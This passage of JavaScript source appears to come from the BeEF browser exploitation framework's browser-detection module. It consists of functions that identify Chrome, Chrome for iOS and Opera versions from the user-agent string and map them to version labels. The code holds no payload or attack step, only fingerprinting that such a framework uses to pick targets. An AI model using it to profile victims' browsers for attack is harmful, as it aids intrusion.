  4707. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 47) ? true : false);
  4708. },
  4709.  
  4710. /**
  4711. * Returns true if Chrome 48.
  4712. * @example: beef.browser.isC48()
  4713. */
  4714. isC48: function () {
  4715. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 48) ? true : false);
  4716. },
  4717.  
  4718. /**
  4719. * Returns true if Chrome for iOS 48.
  4720. * @example: beef.browser.isC48iOS()
  4721. */
  4722. isC48iOS: function () {
  4723. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 48) ? true : false);
  4724. },
  4725.  
  4726. /**
  4727. * Returns true if Chrome 49.
  4728. * @example: beef.browser.isC49()
  4729. */
  4730. isC49: function () {
  4731. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 49) ? true : false);
  4732. },
  4733.  
  4734. /**
  4735. * Returns true if Chrome for iOS 49.
  4736. * @example: beef.browser.isC49iOS()
  4737. */
  4738. isC49iOS: function () {
  4739. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 49) ? true : false);
  4740. },
  4741.  
  4742. /**
  4743. * Returns true if Chrome 50.
  4744. * @example: beef.browser.isC50()
  4745. */
  4746. isC50: function () {
  4747. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 50) ? true : false);
  4748. },
  4749.  
  4750. /**
  4751. * Returns true if Chrome for iOS 50.
  4752. * @example: beef.browser.isC50iOS()
  4753. */
  4754. isC50iOS: function () {
  4755. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 50) ? true : false);
  4756. },
  4757.  
  4758. /**
  4759. * Returns true if Chrome 51.
  4760. * @example: beef.browser.isC51()
  4761. */
  4762. isC51: function () {
  4763. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 51) ? true : false);
  4764. },
  4765.  
  4766. /**
  4767. * Returns true if Chrome for iOS 51.
  4768. * @example: beef.browser.isC51iOS()
  4769. */
  4770. isC51iOS: function () {
  4771. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 51) ? true : false);
  4772. },
  4773.  
  4774. /**
  4775. * Returns true if Chrome 52.
  4776. * @example: beef.browser.isC52()
  4777. */
  4778. isC52: function () {
  4779. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 52) ? true : false);
  4780. },
  4781.  
  4782. /**
  4783. * Returns true if Chrome for iOS 52.
  4784. * @example: beef.browser.isC52iOS()
  4785. */
  4786. isC52iOS: function () {
  4787. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 52) ? true : false);
  4788. },
  4789.  
  4790. /**
  4791. * Returns true if Chrome 53.
  4792. * @example: beef.browser.isC53()
  4793. */
  4794. isC53: function () {
  4795. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 53) ? true : false);
  4796. },
  4797.  
  4798. /**
  4799. * Returns true if Chrome for iOS 53.
  4800. * @example: beef.browser.isC53iOS()
  4801. */
  4802. isC53iOS: function () {
  4803. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 53) ? true : false);
  4804. },
  4805.  
  4806. /**
  4807. * Returns true if Chrome 54.
  4808. * @example: beef.browser.isC54()
  4809. */
  4810. isC54: function () {
  4811. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 54) ? true : false);
  4812. },
  4813.  
  4814. /**
  4815. * Returns true if Chrome for iOS 54.
  4816. * @example: beef.browser.isC54iOS()
  4817. */
  4818. isC54iOS: function () {
  4819. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 54) ? true : false);
  4820. },
  4821.  
  4822. /**
  4823. * Returns true if Chrome 55.
  4824. * @example: beef.browser.isC55()
  4825. */
  4826. isC55: function () {
  4827. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 55) ? true : false);
  4828. },
  4829.  
  4830. /**
  4831. * Returns true if Chrome for iOS 55.
  4832. * @example: beef.browser.isC55iOS()
  4833. */
  4834. isC55iOS: function () {
  4835. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 55) ? true : false);
  4836. },
  4837.  
  4838. /**
  4839. * Returns true if Chrome 56.
  4840. * @example: beef.browser.isC56()
  4841. */
  4842. isC56: function () {
  4843. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 56) ? true : false);
  4844. },
  4845.  
  4846. /**
  4847. * Returns true if Chrome for iOS 56.
  4848. * @example: beef.browser.isC56iOS()
  4849. */
  4850. isC56iOS: function () {
  4851. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 56) ? true : false);
  4852. },
  4853.  
  4854. /**
  4855. * Returns true if Chrome 57.
  4856. * @example: beef.browser.isC57()
  4857. */
  4858. isC57: function () {
  4859. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 57) ? true : false);
  4860. },
  4861.  
  4862. /**
  4863. * Returns true if Chrome for iOS 57.
  4864. * @example: beef.browser.isC57iOS()
  4865. */
  4866. isC57iOS: function () {
  4867. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 57) ? true : false);
  4868. },
  4869.  
  4870. /**
  4871. * Returns true if Chrome 58.
  4872. * @example: beef.browser.isC58()
  4873. */
  4874. isC58: function () {
  4875. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 58) ? true : false);
  4876. },
  4877.  
  4878. /**
  4879. * Returns true if Chrome for iOS 58.
  4880. * @example: beef.browser.isC58iOS()
  4881. */
  4882. isC58iOS: function () {
  4883. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 58) ? true : false);
  4884. },
  4885. isC63iOS: function () {
  4886. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 63) ? true : false);
  4887. },
  4888.  
  4889. /**
  4890. * Returns true if Chrome.
  4891. * @example: beef.browser.isC()
  4892. */
  4893. isC: function () {
  4894. return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16() || this.isC17() || this.isC18() || this.isC19() || this.isC19iOS() || this.isC20() || this.isC20iOS() || this.isC21() || this.isC21iOS() || this.isC22() || this.isC22iOS() || this.isC23() || this.isC23iOS() || this.isC24() || this.isC24iOS() || this.isC25() || this.isC25iOS() || this.isC26() || this.isC26iOS() || this.isC27() || this.isC27iOS() || this.isC28() || this.isC28iOS() || this.isC29() || this.isC29iOS() || this.isC30() || this.isC30iOS() || this.isC31() || this.isC31iOS() || this.isC32() || this.isC32iOS() || this.isC33() || this.isC33iOS() || this.isC34() || this.isC34iOS() || this.isC35() || this.isC35iOS() || this.isC36() || this.isC36iOS() || this.isC37() || this.isC37iOS() || this.isC38() || this.isC38iOS() || this.isC39() || this.isC39iOS() || this.isC40() || this.isC40iOS() || this.isC41() || this.isC41iOS() || this.isC42() || this.isC42iOS() || this.isC43() || this.isC43iOS() || this.isC44() || this.isC44iOS() || this.isC45() || this.isC45iOS() || this.isC46() || this.isC46iOS() || this.isC47() || this.isC47iOS() || this.isC48() || this.isC48iOS() || this.isC49() || this.isC49iOS() || this.isC50() || this.isC50iOS() || this.isC51() || this.isC51iOS() || this.isC52() || this.isC52iOS() || this.isC53() || this.isC53iOS() || this.isC54() || this.isC54iOS() || this.isC55() || this.isC55iOS() || this.isC56() || this.isC56iOS() || this.isC57() || this.isC57iOS() || this.isC58() || this.isC58iOS() || this.isC63iOS();
  4895. },
  4896.  
  4897. /**
  4898. * Returns true if Opera 9.50 through 9.52.
  4899. * @example: beef.browser.isO9_52()
  4900. */
  4901. isO9_52: function () {
  4902. return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.5/) != null));
  4903. },
  4904.  
  4905. /**
  4906. * Returns true if Opera 9.60 through 9.64.
  4907. * @example: beef.browser.isO9_60()
  4908. */
  4909. isO9_60: function () {
  4910. return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.6/) != null));
  4911. },
  4912.  
  4913. /**
  4914. * Returns true if Opera 10.xx.
  4915. * @example: beef.browser.isO10()
  4916. */
  4917. isO10: function () {
  4918. return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/10\./) != null));
  4919. },
  4920.  
  4921. /**
  4922. * Returns true if Opera 11.xx.
  4923. * @example: beef.browser.isO11()
  4924. */
  4925. isO11: function () {
  4926. return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./) != null));
  4927. },
  4928.  
  4929. /**
  4930. * Returns true if Opera 12.xx.
  4931. * @example: beef.browser.isO12()
  4932. */
  4933. isO12: function () {
  4934. return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/12\./) != null));
  4935. },
  4936.  
  4937. /**
  4938. * Returns true if Opera.
  4939. * @example: beef.browser.isO()
  4940. */
  4941. isO: function () {
  4942. return this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11() || this.isO12();
  4943. },
  4944.  
  4945. /**
  4946. * Returns a hash of string keys representing a given capability
  4947. * @example: beef.browser.capabilities()["navigator.plugins"]
  4948. */
  4949. capabilities: function () {
  4950. var out = {};
  4951. var type = this.type();
  4952.  
  4953. out["navigator.plugins"] = (type.IE11 || !type.IE);
  4954.  
  4955. return out;
  4956. },
  4957.  
  4958. /**
  4959. * Returns the type of browser being used.
  4960. * @example: beef.browser.type().IE6
  4961. * @example: beef.browser.type().FF
  4962. * @example: beef.browser.type().O
  4963. */
  4964. type: function () {
  4965.  
  4966. return {
  4967. C5: this.isC5(), // Chrome 5
  4968. C6: this.isC6(), // Chrome 6
  4969. C7: this.isC7(), // Chrome 7
  4970. C8: this.isC8(), // Chrome 8
  4971. C9: this.isC9(), // Chrome 9
  4972. C10: this.isC10(), // Chrome 10
  4973. C11: this.isC11(), // Chrome 11
  4974. C12: this.isC12(), // Chrome 12
  4975. C13: this.isC13(), // Chrome 13
  4976. C14: this.isC14(), // Chrome 14
  4977. C15: this.isC15(), // Chrome 15
  4978. C16: this.isC16(), // Chrome 16
  4979. C17: this.isC17(), // Chrome 17
  4980. C18: this.isC18(), // Chrome 18
  4981. C19: this.isC19(), // Chrome 19
  4982. C19iOS: this.isC19iOS(), // Chrome 19 on iOS
  4983. C20: this.isC20(), // Chrome 20
  4984. C20iOS: this.isC20iOS(), // Chrome 20 on iOS
  4985. C21: this.isC21(), // Chrome 21
  4986. C21iOS: this.isC21iOS(), // Chrome 21 on iOS
  4987. C22: this.isC22(), // Chrome 22
  4988. C22iOS: this.isC22iOS(), // Chrome 22 on iOS
  4989. C23: this.isC23(), // Chrome 23
  4990. C23iOS: this.isC23iOS(), // Chrome 23 on iOS
  4991. C24: this.isC24(), // Chrome 24
  4992. C24iOS: this.isC24iOS(), // Chrome 24 on iOS
  4993. C25: this.isC25(), // Chrome 25
  4994. C25iOS: this.isC25iOS(), // Chrome 25 on iOS
  4995. C26: this.isC26(), // Chrome 26
  4996. C26iOS: this.isC26iOS(), // Chrome 26 on iOS
  4997. C27: this.isC27(), // Chrome 27
  4998. C27iOS: this.isC27iOS(), // Chrome 27 on iOS
  4999. C28: this.isC28(), // Chrome 28
  5000. C28iOS: this.isC28iOS(), // Chrome 28 on iOS
  5001. C29: this.isC29(), // Chrome 29
  5002. C29iOS: this.isC29iOS(), // Chrome 29 on iOS
  5003. C30: this.isC30(), // Chrome 30
  5004. C30iOS: this.isC30iOS(), // Chrome 30 on iOS
  5005. C31: this.isC31(), // Chrome 31
  5006. C31iOS: this.isC31iOS(), // Chrome 31 on iOS
  5007. C32: this.isC32(), // Chrome 32
  5008. C32iOS: this.isC32iOS(), // Chrome 32 on iOS
  5009. C33: this.isC33(), // Chrome 33
  5010. C33iOS: this.isC33iOS(), // Chrome 33 on iOS
  5011. C34: this.isC34(), // Chrome 34
  5012. C34iOS: this.isC34iOS(), // Chrome 34 on iOS
  5013. C35: this.isC35(), // Chrome 35
  5014. C35iOS: this.isC35iOS(), // Chrome 35 on iOS
  5015. C36: this.isC36(), // Chrome 36
  5016. C36iOS: this.isC36iOS(), // Chrome 36 on iOS
  5017. C37: this.isC37(), // Chrome 37
  5018. C37iOS: this.isC37iOS(), // Chrome 37 on iOS
  5019. C38: this.isC38(), // Chrome 38
  5020. C38iOS: this.isC38iOS(), // Chrome 38 on iOS
  5021. C39: this.isC39(), // Chrome 39
  5022. C39iOS: this.isC39iOS(), // Chrome 39 on iOS
  5023. C40: this.isC40(), // Chrome 40
  5024. C40iOS: this.isC40iOS(), // Chrome 40 on iOS
  5025. C41: this.isC41(), // Chrome 41
  5026. C41iOS: this.isC41iOS(), // Chrome 41 on iOS
  5027. C42: this.isC42(), // Chrome 42
  5028. C42iOS: this.isC42iOS(), // Chrome 42 on iOS
  5029. C43: this.isC43(), // Chrome 43
  5030. C43iOS: this.isC43iOS(), // Chrome 43 on iOS
  5031. C44: this.isC44(), // Chrome 44
  5032. C44iOS: this.isC44iOS(), // Chrome 44 on iOS
  5033. C45: this.isC45(), // Chrome 45
  5034. C45iOS: this.isC45iOS(), // Chrome 45 on iOS
  5035. C46: this.isC46(), // Chrome 46
  5036. C46iOS: this.isC46iOS(), // Chrome 46 on iOS
  5037. C47: this.isC47(), // Chrome 47
  5038. C47iOS: this.isC47iOS(), // Chrome 47 on iOS
  5039. C48: this.isC48(), // Chrome 48
  5040. C48iOS: this.isC48iOS(), // Chrome 48 on iOS
  5041. C49: this.isC49(), // Chrome 49
  5042. C49iOS: this.isC49iOS(), // Chrome 49 on iOS
  5043. C50: this.isC50(), // Chrome 50
  5044. C50iOS: this.isC50iOS(), // Chrome 50 on iOS
  5045. C51: this.isC51(), // Chrome 51
  5046. C51iOS: this.isC51iOS(), // Chrome 51 on iOS
  5047. C52: this.isC52(), // Chrome 52
  5048. C52iOS: this.isC52iOS(), // Chrome 52 on iOS
  5049. C53: this.isC53(), // Chrome 53
  5050. C53iOS: this.isC53iOS(), // Chrome 53 on iOS
  5051. C54: this.isC54(), // Chrome 54
  5052. C54iOS: this.isC54iOS(), // Chrome 54 on iOS
  5053. C55: this.isC55(), // Chrome 55
  5054. C55iOS: this.isC55iOS(), // Chrome 55 on iOS
  5055. C56: this.isC56(), // Chrome 56
  5056. C56iOS: this.isC56iOS(), // Chrome 56 on iOS
  5057. C57: this.isC57(), // Chrome 57
  5058. C57iOS: this.isC57iOS(), // Chrome 57 on iOS
  5059. C58: this.isC58(), // Chrome 58
  5060. C58iOS: this.isC58iOS(), // Chrome 58 on iOS
  5061. C63iOS: this.isC63iOS(),
  5062. C: this.isC(), // Chrome any version
  5063.  
  5064. FF2: this.isFF2(), // Firefox 2
  5065. FF3: this.isFF3(), // Firefox 3
  5066. FF3_5: this.isFF3_5(), // Firefox 3.5
  5067. FF3_6: this.isFF3_6(), // Firefox 3.6
  5068. FF4: this.isFF4(), // Firefox 4
  5069. FF5: this.isFF5(), // Firefox 5
  5070. FF6: this.isFF6(), // Firefox 6
  5071. FF7: this.isFF7(), // Firefox 7
  5072. FF8: this.isFF8(), // Firefox 8
  5073. FF9: this.isFF9(), // Firefox 9
  5074. FF10: this.isFF10(), // Firefox 10
  5075. FF11: this.isFF11(), // Firefox 11
  5076. FF12: this.isFF12(), // Firefox 12
  5077. FF13: this.isFF13(), // Firefox 13
  5078. FF14: this.isFF14(), // Firefox 14
  5079. FF15: this.isFF15(), // Firefox 15
  5080. FF16: this.isFF16(), // Firefox 16
  5081. FF17: this.isFF17(), // Firefox 17
  5082. FF18: this.isFF18(), // Firefox 18
  5083. FF19: this.isFF19(), // Firefox 19
  5084. FF20: this.isFF20(), // Firefox 20
  5085. FF21: this.isFF21(), // Firefox 21
  5086. FF22: this.isFF22(), // Firefox 22
  5087. FF23: this.isFF23(), // Firefox 23
  5088. FF24: this.isFF24(), // Firefox 24
  5089. FF25: this.isFF25(), // Firefox 25
  5090. FF26: this.isFF26(), // Firefox 26
  5091. FF27: this.isFF27(), // Firefox 27
  5092. FF28: this.isFF28(), // Firefox 28
  5093. FF29: this.isFF29(), // Firefox 29
  5094. FF30: this.isFF30(), // Firefox 30
  5095. FF31: this.isFF31(), // Firefox 31
  5096. FF32: this.isFF32(), // Firefox 32
  5097. FF33: this.isFF33(), // Firefox 33
  5098. FF34: this.isFF34(), // Firefox 34
  5099. FF35: this.isFF35(), // Firefox 35
  5100. FF36: this.isFF36(), // Firefox 36
  5101. FF37: this.isFF37(), // Firefox 37
  5102. FF38: this.isFF38(), // Firefox 38
  5103. FF39: this.isFF39(), // Firefox 39
  5104. FF40: this.isFF40(), // Firefox 40
  5105. FF41: this.isFF41(), // Firefox 41
  5106. FF42: this.isFF42(), // Firefox 42
  5107. FF43: this.isFF43(), // Firefox 43
  5108. FF44: this.isFF44(), // Firefox 44
  5109. FF45: this.isFF45(), // Firefox 45
  5110. FF46: this.isFF46(), // Firefox 46
  5111. FF47: this.isFF47(), // Firefox 47
  5112. FF48: this.isFF48(), // Firefox 48
  5113. FF49: this.isFF49(), // Firefox 49
  5114. FF50: this.isFF50(), // Firefox 50
  5115. FF51: this.isFF51(), // Firefox 51
  5116. FF52: this.isFF52(), // Firefox 52
  5117. FF53: this.isFF53(), // Firefox 53
  5118. FF54: this.isFF54(), // Firefox 54
  5119. FF55: this.isFF55(), // Firefox 55
  5120. FF56: this.isFF56(), // Firefox 56
  5121. FF57: this.isFF57(), // Firefox 57
  5122. FF58: this.isFF58(), // Firefox 58
  5123. FF: this.isFF(), // Firefox any version
  5124.  
  5125. IE6: this.isIE6(), // Internet Explorer 6
  5126. IE7: this.isIE7(), // Internet Explorer 7
  5127. IE8: this.isIE8(), // Internet Explorer 8
  5128. IE9: this.isIE9(), // Internet Explorer 9
  5129. IE10: this.isIE10(), // Internet Explorer 10
  5130. IE11: this.isIE11(), // Internet Explorer 11
  5131. IE: this.isIE(), // Internet Explorer any version
  5132.  
  5133. O9_52: this.isO9_52(), // Opera 9.50 through 9.52
  5134. O9_60: this.isO9_60(), // Opera 9.60 through 9.64
  5135. O10: this.isO10(), // Opera 10.xx
  5136. O11: this.isO11(), // Opera 11.xx
  5137. O12: this.isO12(), // Opera 12.xx
  5138. O: this.isO(), // Opera any version
  5139.  
  5140. EP: this.isEpi(), // Epiphany any version
  5141.  
  5142. S4: this.isS4(), // Safari 4.xx
  5143. S5: this.isS5(), // Safari 5.xx
  5144. S6: this.isS6(), // Safari 6.x
  5145. S7: this.isS7(), // Safari 7.x
  5146. S8: this.isS8(), // Safari 8.x
  5147. S: this.isS() // Safari any version
  5148. }
  5149. },
  5150.  
  5151. /**
  5152. * Returns the major version of the browser being used.
  5153. * @return: {String} version number || 'UNKNOWN'.
  5154. *
  5155. * @example: beef.browser.getBrowserVersion()
  5156. */
  5157. getBrowserVersion: function () {
  5158.  
  5159. if (this.isC5()) {
  5160. return '5'
  5161. }
  5162. ; // Chrome 5
  5163. if (this.isC6()) {
  5164. return '6'
  5165. }
  5166. ; // Chrome 6
  5167. if (this.isC7()) {
  5168. return '7'
  5169. }
  5170. ; // Chrome 7
  5171. if (this.isC8()) {
  5172. return '8'
  5173. }
  5174. ; // Chrome 8
  5175. if (this.isC9()) {
  5176. return '9'
  5177. }
  5178. ; // Chrome 9
  5179. if (this.isC10()) {
  5180. return '10'
  5181. }
  5182. ; // Chrome 10
  5183. if (this.isC11()) {
  5184. return '11'
  5185. }
  5186. ; // Chrome 11
  5187. if (this.isC12()) {
  5188. return '12'
  5189. }
  5190. ; // Chrome 12
  5191. if (this.isC13()) {
  5192. return '13'
  5193. }
  5194. ; // Chrome 13
  5195. if (this.isC14()) {
  5196. return '14'
  5197. }
  5198. ; // Chrome 14
  5199. if (this.isC15()) {
  5200. return '15'
  5201. }
  5202. ; // Chrome 15
  5203. if (this.isC16()) {
  5204. return '16'
  5205. }
  5206. ; // Chrome 16
  5207. if (this.isC17()) {
  5208. return '17'
  5209. }
  5210. ; // Chrome 17
  5211. if (this.isC18()) {
  5212. return '18'
  5213. }
  5214. ; // Chrome 18
  5215. if (this.isC19()) {
  5216. return '19'
  5217. }
  5218. ; // Chrome 19
  5219. if (this.isC19iOS()) {
  5220. return '19'
  5221. }
  5222. ; // Chrome 19 for iOS
  5223. if (this.isC20()) {
  5224. return '20'
  5225. }
  5226. ; // Chrome 20
  5227. if (this.isC20iOS()) {
  5228. return '20'
  5229. }
  5230. ; // Chrome 20 for iOS
  5231. if (this.isC21()) {
  5232. return '21'
  5233. }
  5234. ; // Chrome 21
  5235. if (this.isC21iOS()) {
  5236. return '21'
  5237. }
  5238. ; // Chrome 21 for iOS
  5239. if (this.isC22()) {
  5240. return '22'
  5241. }
  5242. ; // Chrome 22
  5243. if (this.isC22iOS()) {
  5244. return '22'
  5245. }
  5246. ; // Chrome 22 for iOS
  5247. if (this.isC23()) {
  5248. return '23'
  5249. }
  5250. ; // Chrome 23
  5251. if (this.isC23iOS()) {
  5252. return '23'
  5253. }
  5254. ; // Chrome 23 for iOS
  5255. if (this.isC24()) {
  5256. return '24'
  5257. }
  5258. ; // Chrome 24
  5259. if (this.isC24iOS()) {
  5260. return '24'
  5261. }
  5262. ; // Chrome 24 for iOS
  5263. if (this.isC25()) {
  5264. return '25'
  5265. }
  5266. ; // Chrome 25
  5267. if (this.isC25iOS()) {
  5268. return '25'
  5269. }
  5270. ; // Chrome 25 for iOS
  5271. if (this.isC26()) {
  5272. return '26'
  5273. }
  5274. ; // Chrome 26
  5275. if (this.isC26iOS()) {
  5276. return '26'
  5277. }
  5278. ; // Chrome 26 for iOS
  5279. if (this.isC27()) {
  5280. return '27'
  5281. }
  5282. ; // Chrome 27
  5283. if (this.isC27iOS()) {
  5284. return '27'
  5285. }
  5286. ; // Chrome 27 for iOS
  5287. if (this.isC28()) {
  5288. return '28'
  5289. }
  5290. ; // Chrome 28
  5291. if (this.isC28iOS()) {
  5292. return '28'
  5293. }
  5294. ; // Chrome 28 for iOS
  5295. if (this.isC29()) {
  5296. return '29'
  5297. }
  5298. ; // Chrome 29
  5299. if (this.isC29iOS()) {
  5300. return '29'
  5301. }
  5302. ; // Chrome 29 for iOS
  5303. if (this.isC30()) {
  5304. return '30'
  5305. }
  5306. ; // Chrome 30
  5307. if (this.isC30iOS()) {
  5308. return '30'
  5309. }
  5310. ; // Chrome 30 for iOS
  5311. if (this.isC31()) {
  5312. return '31'
  5313. }
  5314. ; // Chrome 31
  5315. if (this.isC31iOS()) {
  5316. return '31'
  5317. }
  5318. ; // Chrome 31 for iOS
  5319. if (this.isC32()) {
  5320. return '32'
  5321. }
  5322. ; // Chrome 32
  5323. if (this.isC32iOS()) {
  5324. return '32'
  5325. }
  5326. ; // Chrome 32 for iOS
  5327. if (this.isC33()) {
  5328. return '33'
  5329. }
  5330. ; // Chrome 33
  5331. if (this.isC33iOS()) {
  5332. return '33'
  5333. }
  5334. ; // Chrome 33 for iOS
  5335. if (this.isC34()) {
  5336. return '34'
  5337. }
  5338. ; // Chrome 34
  5339. if (this.isC34iOS()) {
  5340. return '34'
  5341. }
  5342. ; // Chrome 34 for iOS
  5343. if (this.isC35()) {
  5344. return '35'
  5345. }
  5346. ; // Chrome 35
  5347. if (this.isC35iOS()) {
  5348. return '35'
  5349. }
  5350. ; // Chrome 35 for iOS
  5351. if (this.isC36()) {
  5352. return '36'
  5353. }
  5354. ; // Chrome 36
  5355. if (this.isC36iOS()) {
  5356. return '36'
  5357. }
  5358. ; // Chrome 36 for iOS
  5359. if (this.isC37()) {
  5360. return '37'
  5361. }
  5362. ; // Chrome 37
  5363. if (this.isC37iOS()) {
  5364. return '37'
  5365. }
  5366. ; // Chrome 37 for iOS
  5367. if (this.isC38()) {
  5368. return '38'
  5369. }
  5370. ; // Chrome 38
  5371. if (this.isC38iOS()) {
  5372. return '38'
  5373. }
  5374. ; // Chrome 38 for iOS
  5375. if (this.isC39()) {
  5376. return '39'
  5377. }
  5378. ; // Chrome 39
  5379. if (this.isC39iOS()) {
  5380. return '39'
  5381. }
  5382. ; // Chrome 39 for iOS
  5383. if (this.isC40()) {
  5384. return '40'
  5385. }
  5386. ; // Chrome 40
  5387. if (this.isC40iOS()) {
  5388. return '40'
  5389. }
  5390. ; // Chrome 40 for iOS
  5391. if (this.isC41()) {
  5392. return '41'
  5393. }
  5394. ; // Chrome 41
  5395. if (this.isC41iOS()) {
  5396. return '41'
  5397. }
  5398. ; // Chrome 41 for iOS
  5399. if (this.isC42()) {
  5400. return '42'
  5401. }
  5402. ; // Chrome 42
  5403. if (this.isC42iOS()) {
  5404. return '42'
  5405. }
  5406. ; // Chrome 42 for iOS
  5407. if (this.isC43()) {
  5408. return '43'
  5409. }
  5410. ; // Chrome 43
  5411. if (this.isC43iOS()) {
  5412. return '43'
  5413. }
  5414. ; // Chrome 43 for iOS
  5415. if (this.isC44()) {
  5416. return '44'
  5417. }
  5418. ; // Chrome 44
  5419. if (this.isC44iOS()) {
  5420. return '44'
  5421. }
  5422. ; // Chrome 44 for iOS
  5423. if (this.isC45()) {
  5424. return '45'
  5425. }
  5426. ; // Chrome 45
  5427. if (this.isC45iOS()) {
  5428. return '45'
  5429. }
  5430. ; // Chrome 45 for iOS
  5431. if (this.isC46()) {
  5432. return '46'
  5433. }
  5434. ;// Chrome 46
  5435. if (this.isC46iOS()) {
  5436. return '46'
  5437. }
  5438. ; // Chrome 46 for iOS
  5439. if (this.isC47()) {
  5440. return '47'
  5441. }
  5442. ;// Chrome 47
  5443. if (this.isC47iOS()) {
  5444. return '47'
  5445. }
  5446. ; // Chrome 47 for iOS
  5447. if (this.isC48()) {
  5448. return '48'
  5449. }
  5450. ;// Chrome 48
  5451. if (this.isC48iOS()) {
  5452. return '48'
  5453. }
  5454. ; // Chrome 48 for iOS
  5455. if (this.isC49()) {
  5456. return '49'
  5457. }
  5458. ;// Chrome 49
  5459. if (this.isC49iOS()) {
  5460. return '49'
  5461. }
  5462. ; // Chrome 49 for iOS
  5463. if (this.isC50()) {
  5464. return '50'
  5465. }
  5466. ;// Chrome 50
  5467. if (this.isC50iOS()) {
  5468. return '50'
  5469. }
  5470. ; // Chrome 50 for iOS
  5471. if (this.isC51()) {
  5472. return '51'
  5473. }
  5474. ;// Chrome 51
  5475. if (this.isC51iOS()) {
  5476. return '51'
  5477. }
  5478. ; // Chrome 51 for iOS
  5479. if (this.isC52()) {
  5480. return '52'
  5481. }
  5482. ;// Chrome 52
  5483. if (this.isC52iOS()) {
  5484. return '52'
  5485. }
  5486. ; // Chrome 52 for iOS
  5487. if (this.isC53()) {
  5488. return '53'
  5489. }
  5490. ;// Chrome 53
  5491. if (this.isC53iOS()) {
  5492. return '53'
  5493. }
  5494. ; // Chrome 53 for iOS
  5495. if (this.isC54()) {
  5496. return '54'
  5497. }
  5498. ;// Chrome 54
  5499. if (this.isC54iOS()) {
  5500. return '54'
  5501. }
  5502. ; // Chrome 54 for iOS
  5503. if (this.isC55()) {
  5504. return '55'
  5505. }
